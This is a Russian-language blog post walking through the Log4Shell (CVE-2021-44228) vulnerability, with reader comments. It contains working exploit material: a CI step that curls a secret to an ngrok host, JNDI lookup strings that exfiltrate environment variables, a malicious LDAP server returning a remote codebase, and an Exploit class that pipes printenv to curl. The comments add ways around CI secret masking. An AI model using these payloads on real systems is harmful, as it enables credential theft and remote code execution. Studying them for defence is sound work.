Что-то пошло не так
Думаю все слышали про критическую уязвимость в Log4j, которая существует уже не один десяток лет, но была обнаружена совсем недавно. В итоге ей присвоили самый высокий критический статус CVE-2021-44228 и многие компании, включая Microsoft, Amazon и IBM признали, что некоторые их сервисы подвержены этой уязвимости. Ее суть в том, что Log4j позволяет выполнить любой вредоносный код на сервере при помощи Java Naming and Directory Interface (JNDI). Хотя последние 2 года Java я использую крайне редко, мне все равно стало интересно разобраться с проблемой более детально.
История о том как я искал ключи
Начну очень издалека ... с жизненного примера, который не имеет ничего общего с Log4j и Java, но даст базовое понимание того как можно использовать уязвимости. Как-то я работал на проекте, где другой разработчик занимался конфигурацией Continuous Integration, но перед увольнением забыл не захотел поделиться Environment Variables. Полгода все работало хорошо, но пришло время что-то подкрутить, и мне понадобились то ли ключи, то ли реквизиты для доступа к базе данных. Проблема в том, что в CircleCI (а мы использовали именно его) нельзя просто так увидеть значения переменных окружения, так как в браузере они отображаются в замаскированном виде. То есть во время создании переменной ее значение видно (что очевидно)
А уже после, мы видим только маску в формате хххх{four-last-characters}
(что в принципе тоже очевидно)
Так как я все таки разработчик, и у меня был доступ к конфигурации деплоя <repository>/.circleci/config.yml
, то первое, что мне пришло в голову, это распечатать значение переменной окружения прямо в консоль используя echo
, что в реалиях CircleCI выглядит примерно так
version: 2.1
jobs:
build:
docker:
- image: cimg/base:stable
steps:
- checkout
- run: echo "Hello world"
- run: echo ${CIRCLE_REPOSITORY_URL}
- run: echo ${AWS_SECRET_ACCESS_KEY}
workflows:
build:
jobs:
- build
Здесь CIRCLE_REPOSITORY_URL
- встроенная переменная CircleCI, а AWS_SECRET_ACCESS_KEY
- переменная проекта созданная вручную. К сожалению счастью, вывод в консоль сработал только для встроенной переменной, а вместо AWS ключа распечаталась маска **************************
которая мало чем может помочь
К слову, в первые годы жизни CircleCI это еще работало, но в конце 2019 хак сломали починили.
Думаем дальше и приходим к выводу, что очень часто, переменные окружения - это ключи или токены, которые используются для аутентификации/авторизации на других ресурсах, и логично предположить, что если “вкинуть” переменную в curl
, то CI отправит ее в “сыром” виде и уже принимающая сторона сможет увидеть значение без маски. Пишем очень примитивный HTTP сервер на Node.js, единственная задача которого — печатать тело запроса в консоль
const express = require('express')
const app = express()
const port = 3000
app.use(express.text())
// Accepts literally any request to literally any path
app.all('*', (req, res) => {
// Print body to the console
console.log(req.body)
// Respond with empty string
res.send('')
})
app.listen(port, () => {
console.log(`App listening at http://localhost:${port}`)
})
Запускаем локально, тестируем
curl --header 'content-type: text/plain' http://localhost:3000/literally-anything-goes-here -d 'Plain text body'
Убеждаемся что все работает хорошо и тело запроса вывелось в консоль
$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
Plain text body
Единственное, что мешает нам отправить curl
запрос из CircleCI на наш Node.js HTTP сервер, это то, что сервер поднят на localhost и его “не видно из интернета”. Эту проблему нам помогает решить ngrok. Для тех, кто никогда не слышал про ngrok - это “приблуда”, которая открывает локальный порт и позволяет делать запросы к localhost извне сети даже в обход NAT или firewall. Запускам ngrok и просим его делать forward HTTP запросов на локальный 3000 порт (тот, на котором “бегает” Node.js HTTP сервер)
$ ngrok http 3000
Получаем HTTP и HTTPS ссылки, которые “видно из интернета”
ngrok by @inconshreveable (Ctrl+C to quit)
Session Status online
Account Oleksandr (Plan: Free)
Version 2.3.40
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding http://5675-136-28-7-90.ngrok.io -> http://localhost:3000
Forwarding https://5675-136-28-7-90.ngrok.io -> http://localhost:3000
Connections ttl opn rt1 rt5 p50 p90
2 0 0.03 0.01 5.07 5.14
Осталось собрать все до кучи и отправить curl
запрос из CircleCI. Для этого обновляем <repository>/.circleci/config.yml
version: 2.1
jobs:
build:
docker:
- image: cimg/base:stable
steps:
- checkout
- run: echo "Hello world"
- run: echo ${CIRCLE_REPOSITORY_URL}
- run: echo ${AWS_SECRET_ACCESS_KEY}
- run:
name: curl ${AWS_SECRET_ACCESS_KEY}
command: |
curl --header "content-type: text/plain" http://5675-136-28-7-90.ngrok.io/literally-anything-goes-here -d "${AWS_SECRET_ACCESS_KEY}"
workflows:
build:
jobs:
- build
Коммитим, пушим, смотрим в CircleCI и видим что curl
запрос был отправлен успешно
А в консоли Node.js HTTP сервера находим значение переменной окружения AWS_SECRET_ACCESS_KEY
, которая пришла в теле curl
запроса
$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
fake-aws-secret-access-key
Разберем ключевые моменты
Первое, доставка и выполнение вредоносного кода происходит самым обычным пушем в git. Это, пожалуй, то, что делает этот пример очень тривиальным, ведь у нас есть доступ к репозиторию и возможность в него пушить, а соответственно и доставить вредоносный код жертве.
Второе, жертва (в нашем случае CircleCI) выполняет код, выдает cекрет и даже не подозревает об этом.
Третье, извлечение секрета наружу происходит с помощью ngrok и очень простого Node.js HTTP сервера.
Пишем и взламываем RESTful Web Service
Очевидно, что самым сложным моментом в процессе эксплоита является доставка и выполнение вредоносного кода, и в случае с Log4j в этом и заключается уязвимость. Камнем преткновения стал так называемый Lookups в Log4j, который позволяет получить значения переменных из конфигурации. Например, вот как можно распечатать AWS_SECRET_ACCESS_KEY
в консоль
public class App {
private static final Logger LOGGER = LogManager.getLogger(App.class);
public static void main(String[] args) {
LOGGER.info("ENV: ${env:AWS_SECRET_ACCESS_KEY}");
}
}
Получаем
12:16:13.860 [main] INFO org.boilerplate.log4j.App - ENV: fake-aws-secret-access-key
Сам по себе Lookups не страшен, но настоящей проблемой стал JNDI Lookups, который позволяет сделать запрос к удаленному LDAP серверу. Для тех, кто не знаком с JNDI и LDAP, вкратце, JNDI - набор интерфейсов, который позволяет общаться с разными ресурсами и объектами, включая LDAP, DNS, CORBA и т.д., а LDAP - протокол доступа к службе каталогов типа Microsoft Active Directory, позволяющий производить операции аутентификации, поиска и т.д. в каталоге. То есть, если у нас есть LDAP сервер, мы можем отправить к нему запрос, используя JNDI.
Не теряя времени, пишем простой LDAP сервер на Node.js единственная задача которого — печатать информацию о запросе в консоль
const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389
server.search('', (req, res, next) => {
// Print request attributes to the console
console.log(req.baseObject.rdns[0].attrs.q);
// Dummy response
res.send({
dn: '',
attributes: {}
})
res.end()
})
server.listen(port, () => {
console.log(`LDAP server listening at ${server.url}`)
})
Как и в предыдущем примере, запускаем ngrok и просим его делать forward TCP запросов (LDAP протокол использует именно TCP) на локальный 1389 порт (тот на котором “бегает” Node.js LDAP сервер)
$ ngrok tcp 1389
Получаем TCP ссылку, которую “видно из интернета”
ngrok by @inconshreveable (Ctrl+C to quit)
Session Status online
Account Oleksandr (Plan: Free)
Version 2.3.40
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding tcp://4.tcp.ngrok.io:18013 -> localhost:1389
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Обновляем Java-приложение таким образом, что бы Log4j писал в лог запрос к нашему LDAP серверу с использованием JNDI
public class App {
private static final Logger LOGGER = LogManager.getLogger(App.class);
public static void main(String[] args) {
LOGGER.info("ENV: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}");
}
}
Смотрим в консоль Node.js LDAP сервера и видим значение переменной окружения AWS_SECRET_ACCESS_KEY
которая пришла в теле запроса
$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldape: 'fake-aws-secret-://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }
Очевидно, что никто в здравом уме не будет писать в лог вот такую строку ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}
, поэтому продолжаем наш эксперимент ... конвертируем Java-приложение в RESTful Web Service используя Spring, но вместо стандартного Logback “просим” Spring использовать Log4j, как это сделать, описано здесь How to use Log4j 2 with Spring Boot. Получаем вот такой контроллер
@RestController
public class GreetingController {
private final AtomicLong counter = new AtomicLong();
@GetMapping("/greeting")
public Greeting greeting() {
return new Greeting(counter.incrementAndGet(), "Greetings!");
}
}
Также “говорим” Spring, что хотим писать в лог всю информацию о входящих запросах, включая headers
@SpringBootApplication
public class RestServiceApplication {
public static void main(String[] args) {
SpringApplication.run(RestServiceApplication.class, args);
}
@Bean
public CommonsRequestLoggingFilter requestLoggingFilter() {
CommonsRequestLoggingFilter loggingFilter = new CommonsRequestLoggingFilter();
loggingFilter.setIncludeClientInfo(true);
loggingFilter.setIncludeQueryString(true);
loggingFilter.setIncludePayload(true);
loggingFilter.setIncludeHeaders(true);
return loggingFilter;
}
}
Запускаем сервис и убеждаемся что он работает
$ curl http://localhost:8080/greeting
{"id":1,"content":"Greetings!"}
Дальше, отправляем уже знакомый нам запрос к LDAP ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}
в заголовке curl
запроса
curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting
И в консоли Node.js LDAP сервера видим значение переменной окружения AWS_SECRET_ACCESS_KEY
$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldap://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }
Ключевые моменты остались теми же, немножко изменилась реализация
Первое, доставка вредоносного кода происходит с помоющью обычного HTTP запроса к серверу. Вот такая строка ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}
может прийти или в теле запроса или в его заголовке, главное, что бы Log4j попытался эту строку записать в лог, и, собственно, в этот момент происходит выполнение. В этом случае нам даже не нужен доступ к сервису, достаточно уметь пользоваться curl
и знать куда, отправлять HTTP запрос.
Второе, жертва (в этом случае Log4j) выполняет код, выдает cекрет и даже не подозревает об этом.
Третье, извлечение секрета наружу происходит с помощью ngrok и очень простого Node.js LDAP сервера.
Несколько комментариев
Совсем не обязательно явно использовать Log4j. В нашем примере мы явно нигде не вызывали Log4j, а просто “попросили” Spring писать в лог информацию о входящих запросах. Значит, любая зависимость в проекте, которая использует Log4j, может выполнить вредоносный код. Более того, вы даже можете не знать о том, что какая-то сторонняя библиотека его использует ... Например, в Maven можно построить дерево зависимостей и посмотреть, какие библиотеки используются в проекте
$ mvn dependency:tree | grep log4j
Даже если облако (AWS, GCP, Azure, etc) фильтрует заголовки запросов перед тем, как отправить их на сервер, все не отфильтруешь, и проблема может вылезть даже в таких неожиданных местах, как имя пользователя или сообщение в чате. Как например, с изменением имени устройства в iCloud You can set the name of your iPhone and exploit Apple iCloud currently
В нашем примере мы знаем, что переменная окружения называется
AWS_SECRET_ACCESS_KEY
, то есть если мы используем “экзотические” имена переменных, то нам и нечего бояться? Это не совсем так ... каким бы сложным не казался последний пример, JNDI может намного больше, чем “просто спросить” LDAP сервер
Ковыряем внутри JNDI
Забегая вперед, скажу пару слов о сериализации и десериализации. Сериализация и десериализация в Java — это способ сохранить объект в текстовом виде (сериализация) и восстановить этот же объект в Java позже (десериализация). Это как конвертировать Java-объект в JSON, а потом JSON конвертировать в Java-объект на другом сервере, почитать детальнее можно здесь Java Object Serialization.
Как оказывается, JNDI может создавать объекты на основании ответа от LDAP сервера, нужно просто знать, что вернуть. Например, если LDAP сервер вернет атрибут javaClassName
, то JNDI попытается десериализовать объект (см. LdapCtx.java#L1078-L1081)
if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
// serialized object or object reference
obj = Obj.decodeObject(attrs);
}
Дальше совсем не долго посмотреть в исходный код JNDI и разобраться, какие еще атрибуты нужно вернуть (см. Obj.java#L63-L81 и Obj.java#L227-L260)
// LDAP attributes used to support Java objects.
static final String[] JAVA_ATTRIBUTES = {
"objectClass",
"javaSerializedData",
"javaClassName",
"javaFactory",
"javaCodeBase",
"javaReferenceAddress",
"javaClassNames",
"javaRemoteLocation" // Deprecated
};
static final int OBJECT_CLASS = 0;
static final int SERIALIZED_DATA = 1;
static final int CLASSNAME = 2;
static final int FACTORY = 3;
static final int CODEBASE = 4;
static final int REF_ADDR = 5;
static final int TYPENAME = 6;
static Object decodeObject(Attributes attrs)
throws NamingException {
Attribute attr;
// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
if (!VersionHelper.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}
attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
return decodeReference(attrs, codebases);
}
return null;
} catch (IOException e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}
Понимаем, что нам нужны атрибуты javaClassName
, javaSerializedData
и javaCodeBase
. Создаем очень простой класс Exploit
public class Exploit implements Serializable {
private static final long serialVersionUID = -6153657763951339296L;
private void readObject(ObjectInputStream objectInputStream) throws ClassNotFoundException, IOException {
// Any shady shit goes here
Runtime.getRuntime().exec("printenv | tr '\\n' '&' | curl --header \"content-type: text/plain\" https://aec6-136-28-7-90.ngrok.io -d @-");
}
private void writeObject(ObjectOutputStream objectOutputStream) throws IOException {}
}
Создаем объект класса Exploit
, сериализируем его и получаем вот такую строку
'sr'Exploit[''xpx
Конвертируем ее в Base64
rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=
Собираем jar файл с классом Exploit
и закидываем в любое место, доступное по HTTP (для простоты я залил на GitHub). Обновляем LDAP сервер таким образом, чтобы он возвращал нужные нам атрибуты
const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389
server.search('', (req, res, next) => {
// Print request attributes to the console
console.log(req.baseObject.rdns[0].attrs.q);
// Dummy response
res.send({
dn: '',
attributes: {
javaClassName: 'Exploit',
javaSerializedData: Buffer.from('rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=', 'base64'),
javaCodeBase: 'https://raw.githubusercontent.com/oleksandrkyetov/log4j-boilerplate/master/Exploit.jar'
}
})
res.end()
})
server.listen(port, () => {
console.log(`LDAP server listening at ${server.url}`)
})
И отправляем curl
запрос на сервер, как и в предыдущем случае
curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting
В итоге получаем не только переменную окружения AWS_SECRET_ACCESS_KEY
, но и все содержимое printenv
В данном случае, как только сервер получит ответ из LDAP
ClassLoader
загрузит Exploit.jar и узнает о классеExploit
Десериализуется объект класса
Exploit
Во время десериализации выполнится код из метода
readObject()
, а именноRuntime.getRuntime().exec("printenv | tr '\\n' '&' | curl --header \"content-type: text/plain\" https://aec6-136-28-7-90.ngrok.io -d @-");
Содержимое
printenv
“сольется”curl
запросом
По сути, во время десериализации можно выполнить любой код, и даже получить доступ к bash
сервера. Справедливости ради скажу, что этот метод будет работать только в случае, если -Dcom.sun.jndi.ldap.object.trustURLCodebase
стоит в true
, то есть если мы разрешили Java загружать jar-файлы в ClassLoader
из внешних источников, но уже существует способ это обойти JNDI-Injection-Bypass.
Итог
Естественно, в Log4j это уже починили, но в целом проблема не новая. Есть десятки статей, которые так и называются “... JNDI Injection ...” и были написаны 3-5 лет назад Attacking Unmarshallers :: JNDI Injection using Getter Based Deserialization Gadgets, Jackson deserialization exploits, Json Deserialization Exploitation, есть даже видео 5-ти летней давности на эту тему A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land.
Самая большая проблема в том, что JNDI никуда не делся, а также никуда не делись разработчики, которые не знают о JNDI, но пишут библиотеки, которыми в итоге пользуются другие ...
Комментарии (50)
technic93
27.12.2021 02:30+2Должна быть галка в настройках чтобы на пулл реквксты отдавать другой набор переменных окружения. А секреты давать только для тасков в ветке куда пушат доверенные разработчики.
Wesha
27.12.2021 07:34-1Так, строго говоря, в Heroku так и делается. Разным окружениям можно настроить разные переменные.
v0stok86
27.12.2021 13:42-2Самое забавное, что половина возможностей бы пропала, если бы на сервере не было curl :)
Но вот возможность подгружать и выполнять левые jar в рантайме это уже хэдшот конечно :)
hMartin
27.12.2021 14:42+1nc, fd, openssl, python, perl - и не нужен curl :)
v0stok86
27.12.2021 16:18Да с подгрузкой jar ничего этого не нужно :)
Но да, наличие "чего-то" способного создавать http запросы - это я имел ввиду под curl. Ведь, листануть секреты на сервере заинжектив код через log4j - это лишь полдела. Надо ещё эти секреты как-то доставить. Иначе зачем их там серверу смотреть? Он их и так знает.
В целом, я уже как-то имел разговор на тему - зачем весь этот хлам на серверах, когда мне на полном серьезе утверждали, что поставить питон на CI/CD - это "ну а чотакова все так делают".
P. S. В вашем случае хватит одного питона.
Source
27.12.2021 14:49Да не, curl - это один из вариантов...
Нет curl - есть wget, нет wget - есть HttpClient из stdlib.v0stok86
27.12.2021 16:56-2Эх... надо похоже curl выделять кавычками :) ну какая разница как называется программа, если смысл - создавать http запросы. И ее там просто не должно быть. У автора в посте разве был wget? Нет, у него был curl. Вот я про curl и написал. Глупо, наверно, было бы если бы я написал "wget там быть не должно" к этой статье, где wget упоминается 0 раз.
Source
27.12.2021 19:34+1Ну суть в том, что средства для выполнения http-запросов есть в 100% случаев, даже если не установлены ни curl, ни wget. Поэтому их наличие или присутствие ни на что не влияет. Разве что минут на 15 задержит злоумышленника)
v0stok86
27.12.2021 20:03Почему они там есть, не понял? Это какое-то необходимое условие для работы веб сервера? Они там есть, скорее всего, лишь из-за того что их оттуда не убрали. Но не могу придумать ни одной причины, почему их там надо оставить.
Source
27.12.2021 22:35Смотрите, вы уцепились за строку
Runtime.getRuntime().exec("printenv | tr '\\n' '&' | curl --header \"content-type: text/plain\" https://aec6-136-28-7-90.ngrok.io -d @-");
И сделали вывод, что она работает благодаря наличию curl на целевой машине. Но это в корне неверный вывод. Смотрите на суть: это произвольный код на Java. И ему необязательно опираться на системные команды, в саму Java встроен HttpClient, просто используйте его вместо curl и всех делов.
P.S. А если вы решили собирать свой JDK из исходников, то лучше уж JNDI выпилите оттуда. А то HttpClient вполне может пригодиться, ну там OneSignal какой-нибудь заюзать или мониторинг ошибок и т.д.
v0stok86
27.12.2021 23:05Не не не :) про эту строчку я как раз написал
Но вот возможность подгружать и выполнять левые jar в рантайме это уже хэдшот конечно
Так что не надо тут. Про curl & co - это относится к финту с CI/CD и переменной окружения
Source
28.12.2021 12:17Эм, про CI/CD - это вообще лирическое вступление было. Там у вас и так полный доступ и возможностей получить ваши собственные ключи выше крыши без всяких curl. Как минимум, ещё 5 вариантов (без http-вызовов) в коментах набросали.
v0stok86
28.12.2021 12:49Да отступление, да набросали. Это как-то меняет смысл моего сообщения? Вы так и не поняли, что мы говорим об одном и том же? Чтобы что-то доставить нужен транспорт. Только я говорю что если транспорта не будет - то вся схема провалится. А вы говорите, что транспорт можно создать (на джаве написать). И я с этим не спорю - и ежу понятно, что если есть возможность занжектить код (именно код, а не команды окружения), то транспорт всегда можно создать. Только я говорю, что такой возможности быть не должно (нет, не надо переписывать рантайм, в статье есть метод защиты от инжекта джава кода). А вы вот этот момент немного не "догоняете" и продолжаете давить на то, что можно создать запрос на джаве. Когда я эту возможность "выключил". То, что выполняется джава код - это не элемент конкретно этой уязвимости - это отдельная песня (и в статье про это написано, почитайте).
А что касается конкретно уязвимости, то сама по себе она не выполняет джава код. Это комбинация из 2х возможностей, которые ещё должны совпасть. И если они совпадают - вот тогда хэдшот и надо плакать.
Подумайте прежде чем писать следующий комментарий.
YuryB
27.12.2021 14:09+4Такое чувство, что автору несколько не хватает базовых знаний, из-за чего эксплуатация уязвимости полна совершенно не нужных зигзагов. Зато статья расширяет кругозор, не знал, что через ноду легко поднять ldap
rdo
27.12.2021 15:27+3Если честно, не думал, что log4j позволяет резолвить переменные, указанные в аргументах вызовов, а не в тексте шаблона строки лога. Это действительно какая-то невероятная дыра в безопасности.
voted
27.12.2021 16:52Чисто теоретически, а если закрыть исходящий LDAP трафик это решает же вопрос? Т.е. JNDI не находит нашего фейкового LDAP сервера и не получает в ответ код для исполнения. И временное решение нейтрализующее уязвимость готово, потом можно неспешно продолжать ковыряться в зависимостях и разбираться с первопричиной.
YuryB
27.12.2021 17:22да, у нас на проде секурити тим давно закрыла возможность делать вызов из приложения в интернет. по-хорошему вашему веб серверу нечего шарить в интернете, он должен только отвечать на запросы. всё остальное это подозрительная активность
v0stok86
27.12.2021 17:29А если у вас интеграция с каким-то другим веб сервером в интернете? Например вы делаете апи реквесты к сторонней площадке.
nsmcan
27.12.2021 18:14Открываете firewall для доступа наружу на FQDN:port или IP:port
v0stok86
27.12.2021 19:11у нас на проде секурити тим давно закрыла возможность делать вызов из приложения в интернет
?
voted
27.12.2021 19:17+1Я думаю имелось ввиду что если приложению куда то надо то для этого есть белый список. А глобально, "в интернет" обычно приложению не надо. Если вашему приложению надо - то скорее всего вам такой вариант защиты от подобных уязвимостей не подходит.
zzzzzzzzzzzz
29.12.2021 01:53+1Самое удивительное в этом всём -- с какого хрена логгер, вместо того, чтобы просто вывести строку в лог, занимается какими-то подстановками значений, о которых его (в явном виде) не просили?
sergey-b
29.12.2021 03:29Это вендоры Java EE-серверов приложений активно донатят в оупенсорс вообще и в проект Apache в частности, вот по их заказу и запилили
этот бэкдортданную полезную «фичу».
Wesha
29.12.2021 07:29Причина есть в документации
Environment variables let you add sensitive data (e.g. API keys) to your jobs rather than placing them in the repository. The value of the variables cannot be read or edited in the app once they are set.
Wesha
Разработчик с пятилетним стажем:
некогда думать, трясти надо! (пишет, что описано в статье выше).Разработчик с двадцатилетним стажем: Судя по всему, CircleCI заменяет значения переменных окружения, которые выводятся на экран, на звёздочки.
ЗачемКак? Скорее всего, он сравнивает всё, что выдаётся на экран, со значениями переменных окружения (которые он по определению знает), и что совпадает — то заменяет на звёздочки. Следовательно, чтобы он не заменял на звёздочки, надо, чтобы то, что выводится на экран, не совпадало с переменными окружениия. Иными словами,Problem solved. И без всяких серверов.
Vest
Скажите, пожалуйста, а шелл-скрипт с выводом переменной окружения в файл сработал бы? Может быть так было бы даже проще. Я не проверял, просто спрашиваю (себе на будущее).
Wesha
Наверняка сработал бы. Но как Вы потом этот файл заберёте без дополнительных танцев с бубном?
Вобще-то CircleCI предоставляет возможность
залогиниться в конкретный инстанс
и ручками посмотреть, что там и где. Включая и переменные, и вообще всё что угодно. Так что городить сервера и проч., как автор — это для тонких
извращенцевценителей.Wesha
P.S. Только что проверил в своём инстансе CircleCI:
Но аффтару за
греблюстарания всё равно зачОт, да.lea
Может проще в base64 конвертнуть?
Wesha
Можно и так.
Просто в моей практике шансов, что на target-системе есть
awk
, как правило, больше, чемbase64.
saboteur_kiev
хм. base64 IMHO может быть даже древнее awk, очень странно что в каком-то дистрибутиве его нет из коробки...
Wesha
Вы с FreeBSD 1.0 работали? А я работал :)
saboteur_kiev
Я работал даже с rt11sj
вопрос в том, сейчас ваш практический опыт актуален?
Ибо писать пайп из 6 sed-ов подряд, а потом говорить что base64 может быть несовместим, потому что оказывается он может отсутствовать в freebsd дремучей версии...
saboteur_kiev
devops с 15-летним стажем.
ВСЕ адекватные CI/CD инструменты проверяют что выводится в консольных лог через их интерфейсы, и все переменные которые считаются secret, маскируют.
И это не защита от хакеров, это на всякий случай, часть защиты от дурака.
Если есть доступ к исходникам или настройке джобы, обойти это можно обычными способами. разделить переменную на две части и вывести отдельно, или сделать rev
будет в общем случае достаточно, останется скопировать из консоли и перевернуть назад.
Wesha
У человека нет доступа в консоль (ну, или он так считает).
saboteur_kiev
У человека есть доступ к логам консоли. Иначе зачем он вообще тогда код пишет?
Я просто напоминаю, что на самом деле секреты в логах звездочками замазывают именно лог вьюверы, и чтобы их обойти, достаточно 1 символ поменять.
Wesha
Это CircleCI. Там всё через веб-интерфейс (который и есть тот самый лог вьювер). Доступ к настоящей консоли получить можно — но через небольшие танцы с бубном, а человек не разобрался, как правильно в бубен бить, изобрёл свой собственный велосипед на костылях.
akhmelev
Разработчик с 25-летним стажем: log4j на сервере это по сути дыра с виде инъекции произвольного кода через LDAP, доставить которую можно тупо через http, например переписав тот же user-agent (чаще всего в пруфах по этой уязвимости фигурирует).
Hо вместо лечения самой дыры "разработчик с 20-летним стажем" запрещает этому вредоносному коду админскими костылями что-то там "важное за звездочками" читать? И ещё и говорит "Problem solved"?
Супер просто. Получите и распишитесь майнер|сниффер|впишите-любую-нагрузку. Не туда смотрите в общем. Это совсем не админская проблема, а именно девелоперская. И не в CI и секретах тут дело, они лишь для примера эксплуатации приведены.
Wesha
Эммм.... Вы статью с начала читали, или как, сразу с середины?
А в начале был параграф, цитирую:
Вот эту проблему и решали.
А про log4j я тактично промолчу, потому как слов нет — одни символы.
akhmelev
А вы заголовок статьи читали? Парадоксально, но в нем обычно автор отражает, то о чем собственно статья ;)
Wesha
Парадоксально, но комментатор не обязан разбирать всю статью целиком — он имеет право остановиться только на тех моментах, к которым у него претензии.
akhmelev
Я себе чуть иначе представляю обсуждение, извините. Видимо возрастное. Мы точно не найдем общего языка. Всего вам доброго.
akhmelev
А да, забыл совсем: JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true", но это уже не в предложенном контексте дискуссии, а скорее по сути.
Но лучше конечно бы обновить зависимости.
Yngvie
А можно пояснение для разработчика без двадцатилетнего стажа?
sed 's/a/K/g'
заменит всеа
наК
.Но в таком случае, как мне понять что
КК
, написаное на экране, было изначальноаК
, а неКа
?Или это вариант чисто для Hex значений?
Wesha
Задача стояла "получить ключ AWS" — а это 16-ричное число.
Yngvie
Глянул на свои ключи - у меня это строка, со всеми символами латиницы, а не hex число.
Wesha
Так или иначе, это уже детали реализации.